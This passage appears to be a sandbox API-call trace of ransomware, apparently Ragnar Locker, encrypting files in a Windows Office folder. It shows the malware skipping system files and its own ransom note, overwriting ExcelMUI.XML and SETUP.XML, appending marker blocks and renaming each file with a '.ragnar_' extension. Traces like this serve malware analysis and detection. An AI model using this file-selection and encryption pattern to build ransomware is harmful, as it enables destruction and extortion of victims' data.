Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*" [0061.462] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0061.462] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.462] lstrcpyW (in: lpString1=0x1e9cbc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e0c7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.462] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0061.462] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e0c7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.462] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0061.462] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0061.462] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0061.462] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2=".") returned 1 [0061.462] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="..") returned 1 [0061.462] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e0c7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76e0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.462] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0061.462] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0061.462] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.462] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0061.462] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0061.462] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.463] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e0c7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.463] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e0c7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.463] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0061.463] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0061.463] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="ExcelMUI.XML" | out: lpString1="ExcelMUI.XML") returned="ExcelMUI.XML" [0061.463] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned=".XML" [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="autorun.inf") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="boot.ini") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="bootfont.bin") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="bootsect.bak") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="bootmgr") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="bootmgr.efi") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="bootmgfw.efi") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="desktop.ini") returned 1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="iconcache.db") returned -1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="ntldr") returned -1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="ntuser.dat") returned -1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="ntuser.dat.log") returned -1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="ntuser.ini") returned -1 [0061.463] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="thumbs.db") returned -1 [0061.463] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.463] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.463] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.463] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.463] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.464] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.464] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0061.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0061.464] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1565) returned 1 [0061.464] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.464] GetProcessHeap () returned 0x580000 [0061.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.464] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.466] VirtualAlloc (lpAddress=0x0, dwSize=0x61d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.466] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.466] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.466] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x61d, lpOverlapped=0x0) returned 1 [0061.466] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.466] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61d, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.466] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x61d, lpOverlapped=0x0) returned 1 [0061.466] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.466] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.467] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x61d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.467] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.467] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.467] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.467] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.467] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.467] GetProcessHeap () returned 0x580000 [0061.467] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.467] CloseHandle (hObject=0x104) returned 1 [0061.468] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" [0061.469] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.ragnar_FD7BD9FC" [0061.469] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.471] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e0c7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76e0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.471] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0061.471] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0061.471] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0061.471] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0061.471] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.471] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0061.471] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0061.471] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned=".XML" [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0061.471] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0061.472] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0061.472] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0061.472] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0061.472] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0061.472] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0061.472] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.472] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.472] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.472] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.472] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.472] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.472] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0061.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0061.473] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=2296) returned 1 [0061.473] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.473] GetProcessHeap () returned 0x580000 [0061.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.473] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.474] VirtualAlloc (lpAddress=0x0, dwSize=0x8f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.475] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x8f8, lpOverlapped=0x0) returned 1 [0061.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.475] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.475] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x8f8, lpOverlapped=0x0) returned 1 [0061.475] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.475] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.475] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.475] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.476] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.476] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.476] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.476] GetProcessHeap () returned 0x580000 [0061.476] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.476] CloseHandle (hObject=0x104) returned 1 [0061.477] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" [0061.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0061.477] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.477] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.478] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.478] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, 